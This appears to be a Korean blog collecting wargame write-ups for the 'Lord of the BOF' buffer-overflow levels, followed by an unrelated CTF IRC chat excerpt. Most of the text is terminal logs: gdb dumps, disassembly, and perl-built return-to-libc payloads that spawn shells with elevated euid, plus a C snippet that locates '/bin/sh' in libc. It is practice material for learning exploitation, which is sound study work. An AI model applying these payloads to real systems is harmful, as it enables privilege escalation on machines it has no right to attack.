[4000f84d] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

[4000ee54] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

[4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3

[4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0

[4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000

[4000ee8d] close(3)                     = 0

[4000ee54] open("/lib/libc.so.6", O_RDONLY) = 3

[4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

[4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

[4000f84d] old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000

[4000f8d4] mprotect(0x40105000, 30812, PROT_NONE) = 0

[4000f84d] old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000

[4000f84d] old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000

[4000ee8d] close(3)                     = 0

[4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0

[4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0

[4000f891] munmap(0x40015000, 12210)    = 0

[400ca7fd] personality(PER_LINUX)       = 0

[400aa257] getpid()                     = 4051

[400bdc8c] fstat64(0x1, 0xbffff2f8)     = -1 ENOSYS (Function not implemented)

[400bdcd3] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

[400c7afd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

[400c4b54] ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0

[400beb14] write(1, "AAAA\340\212\5@BBBB\371\277\17@\220\220\220\220\220\220"..., 50AAAA@BBBBù¿@*ü ¿AAAA

) = 50

[41414141] --- SIGSEGV (Segmentation fault) ---

upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process

[????????] +++ killed by SIGSEGV +++

[assassin@localhost assassin]$ gdb -c core -q

Core was generated by `./newbie_assassin AAAA@BBBBù¿@*ü ¿AAAA'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) x/50wx $esp-60

0xbffffaa4:     0x080484dc      0x0804857e      0xbffffab0      0x41414141

0xbffffab4:     0x40058ae0      0x42424242      0x400fbff9      0x90909090

0xbffffac4:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffad4:     0x90909090      0xbffffc2a      0x41414141      0x00000002

0xbffffae4:     0xbffffb24      0xbffffb30      0x40013868      0x00000002

0xbffffaf4:     0x08048390      0x00000000      0x080483b1      0x08048440

0xbffffb04:     0x00000002      0xbffffb24      0x080482e4      0x0804851c

0xbffffb14:     0x4000ae60      0xbffffb1c      0x40013e90      0x00000002

0xbffffb24:     0xbffffc18      0xbffffc2a      0x00000000      0xbffffc5b

0xbffffb34:     0xbffffc6e      0xbffffc86      0xbffffca5      0xbffffcc7

0xbffffb44:     0xbffffcd5      0xbffffe98      0xbffffeb7      0xbffffed5

0xbffffb54:     0xbffffeea      0xbfffff0a      0xbfffff15      0xbfffff26

0xbffffb64:     0xbfffff2e      0xbfffff38

(gdb) q

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\xb0\xfa\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@°ú ¿߄

bash$ exit

exit

Segmentation fault (core dumped)

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@(ü ¿߄

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core -q

Core was generated by `                  AAAAAAAABBBBù¿@(ü ¿'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb)x/40wx $esp

0xbffffc34:     0x400fbff9      0x90909090      0x90909090      0x90909090

0xbffffc44:     0x90909090      0x90909090      0x90909090      0xbffffc28

0xbffffc54:     0x080484df      0x44575000      0x6f682f3d      0x612f656d

0xbffffc64:     0x73617373      0x006e6973      0x4f4d4552      0x4f484554

0xbffffc74:     0x313d5453      0x312e3239      0x312e3836      0x00312e30

0xbffffc84:     0x54534f48      0x454d414e      0x636f6c3d      0x6f686c61

0xbffffc94:     0x6c2e7473      0x6c61636f      0x616d6f64      0x4c006e69

0xbffffca4:     0x4f535345      0x3d4e4550      0x73752f7c      0x69622f72

0xbffffcb4:     0x656c2f6e      0x69707373      0x732e6570      0x73252068

0xbffffcc4:     0x45535500      0x73613d52      0x73736173      0x4c006e69

(gdb) x/40wx $esp-40

0xbffffc0c:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffc1c:     0x00000000      0x00000000      0x00000000      0x41414141

0xbffffc2c:     0x41414141      0x42424242      0x400fbff9      0x90909090

0xbffffc3c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffc4c:     0x90909090      0xbffffc28      0x080484df      0x44575000

0xbffffc5c:     0x6f682f3d      0x612f656d      0x73617373      0x006e6973

0xbffffc6c:     0x4f4d4552      0x4f484554      0x313d5453      0x312e3239

0xbffffc7c:     0x312e3836      0x00312e30      0x54534f48      0x454d414e

0xbffffc8c:     0x636f6c3d      0x6f686c61      0x6c2e7473      0x6c61636f

0xbffffc9c:     0x616d6f64      0x4c006e69      0x4f535345      0x3d4e4550

(gdb) x/40wx $esp-100

0xbffffbd0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffbe0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffbf0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffc00:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffc10:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffc20:     0x00000000      0x00000000      0x41414141      0x41414141

0xbffffc30:     0x42424242      0x400fbff9      0x90909090      0x90909090

0xbffffc40:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffc50:     0xbffffc28      0x080484df      0x44575000      0x6f682f3d

0xbffffc60:     0x612f656d      0x73617373      0x006e6973      0x4f4d4552

(gdb) x/40wx $esp-200

0xbffffb6c:     0x00000000      0x00000000      0x40020e90      0x00000612

0xbffffb7c:     0x40021fd0      0x4001ad70      0x400143e0      0x00000003

0xbffffb8c:     0x40014650      0x00000001      0xbffff8ac      0x00000000

0xbffffb9c:     0x4003ec68      0x00000001      0x00000000      0x00000000

0xbffffbac:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffbbc:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffbcc:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffbdc:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffbec:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffbfc:     0x00000000      0x00000000      0x00000000      0x00000000

(gdb) x/40wx $esp-2000

0xbffff464:     0x4001797a      0x08048581      0x25000000      0x00000000

0xbffff474:     0x00000001      0x00000000      0x40014353      0x000ed000

0xbffff484:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff494:     0x00000000      0x40018000      0x0000005e      0xbfffe3fc

0xbffff4a4:     0xbfffe400      0xbfffe404      0xbfffe408      0xbfffe40c

0xbffff4b4:     0xbfffe410      0xbfffe548      0x00000000      0x00000000

0xbffff4c4:     0x00002fb2      0x00001000      0x00000018      0x535975ed

0xbffff4d4:     0x0000385c      0x400143e0      0x00000018      0x000ed9c0

0xbffff4e4:     0x00000002      0xbfffe414      0xbfffe3e4      0xbfffe45c

0xbffff4f4:     0x00001000      0xbfffe45c      0x00000003      0x000f485c

(gdb)

0xbffff504:     0xbfffe530      0xbfffe490      0x40013ed0      0x00000808

0xbffff514:     0x00000000      0x00000000      0x0000675b      0x000081a4

0xbffff524:     0x00000001      0x00000000      0x00000000      0x00000808

0xbffff534:     0x00000000      0x00000000      0x40001402      0xbffff610

0xbffff544:     0x400081e6      0x400013e1      0x400013e1      0x40013868

0xbffff554:     0x400013a5      0x20730824      0xffffffff      0xffffffcf

0xbffff564:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff574:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff584:     0xbffffab0      0x00000000      0xbffff614      0x40000814

0xbffff594:     0x00000052      0x00000000      0x00000000      0x00000001

(gdb) x/40wx $esp-500

0xbffffa40:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffa50:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffa60:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffa70:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffa80:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffa90:     0x00000000      0x40029b0e      0xbffff8f4      0x400081e6

0xbffffaa0:     0x40029ad5      0x40029ad5      0x40013868      0x400143e0

0xbffffab0:     0x00006805      0x00000203      0x00000203      0x00000203

0xbffffac0:     0x00000006      0x08048034      0x08048390      0xbffff87c

0xbffffad0:     0x40002179      0x00006120      0x4000220c      0x08048390

(gdb)

0xbffffae0:     0x00000000      0x00000000      0x40020e90      0x00000612

0xbffffaf0:     0x40021fd0      0x4001ad70      0x400143e0      0x00000003

0xbffffb00:     0x40014650      0x00000001      0xbffff8ac      0x00000000

0xbffffb10:     0x4003ec68      0x00000000      0x00000000      0x00000000

0xbffffb20:     0x40029b0e      0xbffff8f4      0x400081e6      0x40029ad5

0xbffffb30:     0x40029ad5      0x40013868      0x400143e0      0x00006805

0xbffffb40:     0x00000203      0x00000203      0x00000203      0x00000006

0xbffffb50:     0x08048034      0x08048390      0xbffff87c      0x40002179

0xbffffb60:     0x00006120      0x4000220c      0x08048390      0x00000000

0xbffffb70:     0x00000000      0x40020e90      0x00000612      0x40021fd0

(gdb) q

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xff\xbf", "AAAA"'`

AAAA@BBBBù¿@(ü ¿AAAA

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core -q

Core was generated by `./newbie_assassin AAAA@BBBBù¿@(ü ¿AAAA'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) x/60wx $esp-60

0xbffffaa4:     0x080484dc      0x0804857e      0xbffffab0      0x41414141

0xbffffab4:     0x40058ae0      0x42424242      0x400fbff9      0x90909090

0xbffffac4:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffad4:     0x90909090      0xbffffc28      0x41414141      0x00000002

0xbffffae4:     0xbffffb24      0xbffffb30      0x40013868      0x00000002

0xbffffaf4:     0x08048390      0x00000000      0x080483b1      0x08048440

0xbffffb04:     0x00000002      0xbffffb24      0x080482e4      0x0804851c

0xbffffb14:     0x4000ae60      0xbffffb1c      0x40013e90      0x00000002

0xbffffb24:     0xbffffc16      0xbffffc28      0x00000000      0xbffffc59

0xbffffb34:     0xbffffc6c      0xbffffc84      0xbffffca3      0xbffffcc5

0xbffffb44:     0xbffffcd3      0xbffffe96      0xbffffeb5      0xbffffed3

0xbffffb54:     0xbffffee8      0xbfffff08      0xbfffff13      0xbfffff24

0xbffffb64:     0xbfffff2c      0xbfffff36      0xbfffff46      0xbfffff54

0xbffffb74:     0xbfffff62      0xbfffff73      0xbfffff7e      0xbfffff92

0xbffffb84:     0xbfffffd6      0x00000000      0x00000003      0x08048034

(gdb) x/wx 0xbffffaaf

0xbffffaaf:     0x414141bf

(gdb) x/wx 0xbffffaae

0xbffffaae:     0x4141bfff

(gdb) x/wx 0xbffffab1

0xbffffab1:     0xe0414141

(gdb) x/wx 0xbffffab0

0xbffffab0:     0x41414141

(gdb) q

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\xb0\xfa\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@°ú ¿߄

bash$ q

sh: q: command not found

bash$ exit

exit

Segmentation fault (core dumped)

[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\xb0\xfa\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@°ú ¿߄

bash$ my-pass

euid = 516



*) Libc에서 /bin/sh를 찾아 사용하였는데 찾는 소스는 여기서 얻어온거에여.

<http://www.win.tue.nl/~aeb/linux/hh/hh-10.html>


-해당 소스-


[assassin@localhost assassin]$ cat foo.c

main(){

        char *p;


        p = 0x4002c000;

        while (1) {

                while (*p++ != '/') ;

                if (strcmp(p-1, "/bin/sh") == 0) {

                        printf("0x%08x\n", p-1);

                        return 0;

                }

        }

}


반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (2) 2014.06.26
assassin->zombie_assassin  (0) 2014.05.13
giant->assassin  (0) 2014.04.22
bugbear->giant(1)  (0) 2014.04.16
darkknight->bugbear  (2) 2014.04.07
반응형

오오.. 이번엔 뻥뚫리게 속시원하게 풀렸네여..

strace못쓰겟슴다.. 우선 사용방법부터 공부해야겠어여 써봤는데 해독을 못하게씀.. 무엇이 무엇인고

[giant@localhost giant]$ ls

assassas  assassin  assassin.c  core

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }                                                                    


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}

/*소스를 보게되면 retbayed you라 하는데 이게 힌트같아보입니다. 잘 분석해보면 ret만 남습니다. ret는 변조할 수 있는것이죠! 근데 library에 들어있는 함수도 못쓰고 스택에 있는것도 못씁니다.. (막막)*/


[giant@localhost giant]$gdb -q

(gdb) p 0xbfffffff-0xbeffffff

$1 = 16777216

(gdb) zz

Undefined command: "zz".  Try "help". 

(gdb) q

[giant@localhost giant]$ ./assassas `perl -e 'print "A"x16777216'` 

bash: ./assassas: Argument list too long // 꼼수시도해보려다가 망함ㅋ될리가 없죠..

[giant@localhost giant]$ [a]x44, [ret func]4bytes, [ret]<-system, [dummy], [/bin/sh]

bash: -system,: No such file or directory

[giant@localhost giant]$ bash2

[giant@localhost giant]$ gdb -q assassas

(gdb) b main

Breakpoint 1 at 0x8048476

(gdb) r

Starting program: /home/giant/assassas


Breakpoint 1, 0x8048476 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q

The program is running.  Exit anyway? (y or n) y

[giant@localhost giant]$ export BINSH=/bin/sh

[giant@localhost giant]$ vi whereis.c

[giant@localhost giant]$ gcc whereis.c -o getenv

whereis.c: In function `main':

whereis.c:5: warning: assignment makes pointer from integer without a cast

[giant@localhost giant]$ ./getenv BINSH

env is at: 0xbffffc88


[giant@localhost giant]$ ./assassas `perl -e 'print "A"x44, "\xff\xff\xff\xff", "\xe0\x8a\x05\x40", "B"x4, "\x88\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    @BBBBˆü ¿

Segmentation fault (core dumped)

[giant@localhost giant]$ gdb -q assassas core

Core was generated by `./assassas AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    @BBBBˆü ¿'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xffffffff in ?? ()

(gdb) disas main

Dump of assembler code for function main:

0x8048470 <main>:       push   %ebp

0x8048471 <main+1>:     mov    %esp,%ebp

0x8048473 <main+3>:     sub    $0x28,%esp

0x8048476 <main+6>:     cmpl   $0x1,0x8(%ebp)

0x804847a <main+10>:    jg     0x8048493 <main+35>

0x804847c <main+12>:    push   $0x8048570

0x8048481 <main+17>:    call   0x8048378 <printf>

0x8048486 <main+22>:    add    $0x4,%esp

0x8048489 <main+25>:    push   $0x0

0x804848b <main+27>:    call   0x8048388 <exit>

0x8048490 <main+32>:    add    $0x4,%esp

0x8048493 <main+35>:    mov    0xc(%ebp),%eax

0x8048496 <main+38>:    add    $0x4,%eax

0x8048499 <main+41>:    mov    (%eax),%edx

0x804849b <main+43>:    add    $0x2f,%edx

0x804849e <main+46>:    cmpb   $0xbf,(%edx)

0x80484a1 <main+49>:    jne    0x80484c0 <main+80>

0x80484a3 <main+51>:    push   $0x804857c

0x80484a8 <main+56>:    call   0x8048378 <printf>

0x80484ad <main+61>:    add    $0x4,%esp

0x80484b0 <main+64>:    push   $0x0

0x80484b2 <main+66>:    call   0x8048388 <exit>

0x80484b7 <main+71>:    add    $0x4,%esp

0x80484ba <main+74>:    lea    0x0(%esi),%esi

0x80484c0 <main+80>:    mov    0xc(%ebp),%eax

0x80484c3 <main+83>:    add    $0x4,%eax

0x80484c6 <main+86>:    mov    (%eax),%edx

0x80484c8 <main+88>:    add    $0x2f,%edx

---Type <return> to continue, or q <return> to quit---

0x80484cb <main+91>:    cmpb   $0x40,(%edx)

0x80484ce <main+94>:    jne    0x80484e7 <main+119>

0x80484d0 <main+96>:    push   $0x8048591

0x80484d5 <main+101>:   call   0x8048378 <printf>

0x80484da <main+106>:   add    $0x4,%esp

0x80484dd <main+109>:   push   $0x0

0x80484df <main+111>:   call   0x8048388 <exit>

0x80484e4 <main+116>:   add    $0x4,%esp

0x80484e7 <main+119>:   mov    0xc(%ebp),%eax

0x80484ea <main+122>:   add    $0x4,%eax

0x80484ed <main+125>:   mov    (%eax),%edx

0x80484ef <main+127>:   push   %edx

0x80484f0 <main+128>:   lea    0xffffffd8(%ebp),%eax

0x80484f3 <main+131>:   push   %eax

0x80484f4 <main+132>:   call   0x80483a8 <strcpy>

0x80484f9 <main+137>:   add    $0x8,%esp

0x80484fc <main+140>:   lea    0xffffffd8(%ebp),%eax

0x80484ff <main+143>:   push   %eax

0x8048500 <main+144>:   push   $0x80485ae

0x8048505 <main+149>:   call   0x8048378 <printf>

0x804850a <main+154>:   add    $0x8,%esp

0x804850d <main+157>:   push   $0x2c

0x804850f <main+159>:   push   $0x0

0x8048511 <main+161>:   lea    0xffffffd8(%ebp),%eax

0x8048514 <main+164>:   push   %eax

0x8048515 <main+165>:   call   0x8048398 <memset>

0x804851a <main+170>:   add    $0xc,%esp

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

---Type <return> to continue, or q <return> to quit---q

(gdb) q

[giant@localhost giant]$ ./assassas `perl -e 'print "A"x44, "\x1e\x85\x04\x08", "\xe0\x8a\x05\x40", "B"x4, "\x88\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBBˆü ¿

sh: /sh: No such file or directory

Segmentation fault (core dumped)

[giant@localhost giant]$ ./assassas `perl -e 'print "A"x44, "\x1e\x85\x04\x08", "\xe0\x8a\x05\x40", "B"x4, "\x84\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB„ü ¿

bash$ exit

exit

Segmentation fault (core dumped)

[giant@localhost giant]$ ./assassin `perl -e 'print "A"x44, "\x1e\x85\x04\x08", "\xe0\x8a\x05\x40", "B"x4, "\x84\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB„ü ¿

bash$ my-pass

euid = 515


지난번에 했던걸 응용(?)했다해야하나.. 전단계에 execve를 썼던건 실패해도 ret로 돌아가 다음 명령을 실행할 수 있어서 였는데 라이브러리 함수를 못쓰게 되니까 (당황->고민->멍때리는 시간을 거쳤..)생각해보니 팝콘형님이 비슷한 얘기를 해주신 적 있습니다. ret에 ret주소를 넣게되면 (ret= pop eip) eip가 pop되기도 하지만, pop라는 뜻은 esp도 4바이트 늘어난다는 뜻이기 때문에 다음 명령을 가르키고 있게 됩니다. 그 자리에 system함수의 주소를 넣고 4바이트 더미를 또 넣은 후 /bin/sh의 주소를 넣게되면 전 단계의 rtl과 같이 동작하게 됩니다. 

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

assassin->zombie_assassin  (2) 2014.06.26
assassin->zombie_assassin  (0) 2014.05.13
giant->assassin  (0) 2014.04.22
bugbear->giant(1)  (0) 2014.04.16
darkknight->bugbear  (2) 2014.04.07
golem->darkknight  (0) 2014.04.06
반응형

네, 

어..(충격먹음)

후...

어렵네여ㅎ..

로그가 좀 정신없으니 엔터로 정리해놓겠슴다.

이번에 풀면서 잡담나눠주시고 지식이랑 새로운 해낑기법들을 맛보게(?)해주시고 이해를 도와주신 popopret형께 감사드려요 :D [(http://netstat.tistory.com) ☜여러가지 자료가 엄청많은 짱짱블러그ㄱㄱ]

[bugbear@localhost bugbear]$ ls

assassas  core  ggggg  ggggg.c  giant  giant.c  grant  grant.c  grantz /*계속 복사본은 권한이 없어서 에러가 떠서 grantz로 연결하게 grant.c를 수정했는데 필요없는짓이었슴여.. 바꾸던 안바꾸던 execve의 주소는 같슴다..ㄸㄹㄹ*/


[bugbear@localhost bugbear]$ payload= [/bin//sh, "\x90" x40] [execve addr] [dummy x4] [/bin//sh] [&/bin//sh] [null]

[1] 807

bash2: [/bin//sh,: No such file or directory

bash2: /bin//sh]: No such file or directory

[1]+  Exit 127                payload= [/bin//sh, "\x90" x40] [execve addr] [dummy x4] [/bin//sh] [



[bugbear@localhost bugbear]$ vi whereis.c

[bugbear@localhost bugbear]$ gcc whereis.c -o whereis

whereis.c: In function `main':

whereis.c:5: warning: assignment makes pointer from integer without a cast


[bugbear@localhost bugbear]$ export BINSH=`perl -e 'print "/bin/sh"'`

[bugbear@localhost bugbear]$ ./whereis BINSH

the env is at: 0xbffffc75



[bugbear@localhost bugbear]$ payload= [binsh addr] [nullx4] [nopx36] [execve] [dummy] [binsh addr] [argv[1]addr] [null addr]

bash2: [binsh: command not found

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x75\xfc\xff\xbf", "\x00"x4, "\x90"x36, "\x48\x9d\x0a\x40", "AAAA", "\x75\xfc\xff\xbf", "\xf8\xfb\xff\xbf", "0x51\xfb\xff\xbf"')"

You must use execve!

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x75\xfc\xff\xbf", " "x4, "\x90"x36, "\x48\x9d\x0a\x40", "AAAA", "\x75\xfc\xff\xbf", "\xf8\xfb\xff\xbf", "0x51\xfb\xff\xbf"')"

uü ¿    H

@AAAAuü ¿øû ¿0x51û ¿

Segmentation fault (core dumped) /*여기서 체감한 사실: null은 argv[1]에 들어가지 않습니다. 허허*/

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x75\xfc\xff\xbf", "\xff"x4, "\x90"x36, "\x48\x9d\x0a\x40", "AAAA", "\x75\xfc\xff\xbf", "\xf8\xfb\xff\xbf", "0x51\xfb\xff\xbf"')"

uü ¿    H

@AAAAuü ¿øû ¿0x51û ¿

Segmentation fault (core dumped)


[bugbear@localhost bugbear]$ gdb -q `perl -e 'print "\x75\xfc\xff\xbf"'` core

Core was generated by `./uü ¿ H

@AAAAuü ¿øû ¿0x51û ¿'. /*그래서 우선 지금은 argv[0]으로도 시도 해 봤는데 아직은 방법을 잘 모르겠는거 같아서 어제 p0p0pret 형이 알려주신 방법을 사용했습니다. (꼼수)*/

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x41414141 in ?? ()

(gdb) b main

Breakpoint 1 at 0x8048566

(gdb) r

Starting program: /home/bugbear/uü ¿


Breakpoint 1, 0x8048566 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q

The program is running.  Exit anyway? (y or n) y

[bugbear@localhost bugbear]$ ./`perl -e 'print "\x75\xfc\xff\xbf"'` "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "AAAA", "\x75\xfc\xff\xbf"')"

H

@@AAAAuü ¿

Segmentation fault (core dumped)


(중략...)


[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "\x75\xfc\xff\xbf", "\x78\xfc\xff\xbf"')"

H

@@uü ¿xü ¿

sh: =/bin/sh: No such file or directory

Segmentation fault (core dumped)

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "\x75\xfc\xff\xbf", "\x79\xfc\xff\xbf"')"

H

@@uü ¿yü ¿

bash$ exit

exit

Segmentation fault (core dumped)

[bugbear@localhost bugbear]$ ./giant "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "\x75\xfc\xff\xbf", "\x79\xfc\xff\xbf"')"

H

@@uü ¿yü ¿

bash$ whoami

giant

bash$ my-pass

euid = 514


방법 설명: 원래 정석은 rtl로 execve에 인자를 다 전달해줌으로써 권한을 갖게 되는 거에여. 근데 rtl 기법을 봅시다.

[buffer] [sfp] [ret(function)] [dummy] [argument] [argument2] [argument3]... 이런 형식이 있다면

[nop~~~~~~][execve~~~~][system] [execve arg][system arg] -- 이 형태로 페이로드를 짜야 합니다.

이렇게 하면 execve함수를 호출하긴 하는데 인자가 제대로 없어서 실행은 성공적으로 되지 않습니다(원래 execve의 인자는 3개이지만 여기선 하나밖에 없습니다). 그래도 프로그램은 계속 실행해 원래는 더미(또는 exit)로 넣어두었던 곳의 ret를 참조하게 되는데요, 여기서 원래는 ret를 참조해 프로그램을 종료하게 되지만 이 페이로드의 경우에서는 종료되지 않고 system을 다시 호출하게 됩니다(ret자리에 system함수의 주소가 있으니까요). 그러면 또 system에 있는 인자를 system+4있는곳에서 찾게 될 것이구요. 그러면 system함수에 system함수의 인자(/bin/sh주소)까지 제대로 들어가 system("/bin/sh")를 실행하게 됩니다. 고로 결과는 쉘을 띄웁니다!(꼼수꼼수)


다른 풀이를 보니 음 으음 뭔지 이해는 되는거같은데 지금하기엔 어려운거같아요. 이해가 다 안되는데 한다는것도 그렇고,.. 계속 삽질해봐야겠네여.

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

assassin->zombie_assassin  (0) 2014.05.13
giant->assassin  (0) 2014.04.22
bugbear->giant(1)  (0) 2014.04.16
darkknight->bugbear  (2) 2014.04.07
golem->darkknight  (0) 2014.04.06
skeleton->golem  (5) 2014.03.17
반응형

Hey guys, if you guys came through because of a recon of Fuzyll, (:D) there's nothing to look for on this page. Glhf on your CTFs!

-----------April 12th------------------------------------------------------
[22:46] == tokki [d9a5709e@gateway/web/freenode/ip.217.165.112.158] has joined #pctf
[22:46] == sorin_ [5e34c7a9@gateway/web/freenode/ip.94.52.199.169] has joined #pctf
[22:47] == zzoru [8ff8f941@gateway/web/freenode/ip.143.248.249.65] has quit [Ping timeout: 240 seconds]
[22:48] <s3Rious> Ymgve: I've done it. Now I have a headache....
[22:48] <tokki> hudak is giving me cancer
[22:48] == Luffy [47cfa62b@gateway/web/freenode/ip.71.207.166.43] has quit [Quit: Page closed]
[22:48] == s_kunk [~s_kunk@ivr94-9-88-170-234-229.fbx.proxad.net] has joined #pctf
[22:48] == sorin [5e34c7a9@gateway/web/freenode/ip.94.52.199.169] has quit [Ping timeout: 240 seconds]
[22:48] <kanghee> I'm starting to hate white cats
[22:49] <sorin_> i also have issues there kanghee
[22:49] == x7r0n [x7r0n@117.254.106.13] has joined #pctf
[22:50] <tokki> lol
[22:51] == DaramG [8ff8eb18@gateway/web/cgi-irc/kiwiirc.com/ip.143.248.235.24] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[22:52] <fal7Q> :)
[22:52] <player10> executable
[22:54] == Tokage-Kira [uid15875@gateway/web/irccloud.com/x-qbloircajjrvxuam] has quit [Quit: Connection closed for inactivity]
[22:54] == Yerer [~sean@pool-108-16-202-97.phlapa.fios.verizon.net] has joined #pctf
[22:55] <x7r0n> any ops for for100 ? or what is the pattern for it ?
[22:57] <corpille> so stega much cool
[22:57] == halfvollemelk [589f763c@gateway/web/freenode/ip.88.159.118.60] has joined #pctf
[22:58] <+tylerni7> x7r0n: I mean
[22:58] <+tylerni7> it's stego
[22:58] <+tylerni7> find hidden flage
[22:58] <+tylerni7> very hidden
[22:58] <x7r0n> i got it
[22:58] <+tylerni7>   much flage
[22:58] <player10> much secret?
[22:58] <+tylerni7>   so stego
[22:58] <x7r0n> can i pm u
[22:58] == lkwpeter [~florian@p5DDCF126.dip0.t-ipconnect.de] has joined #pctf
[22:58] <+tylerni7> x7r0n: sue
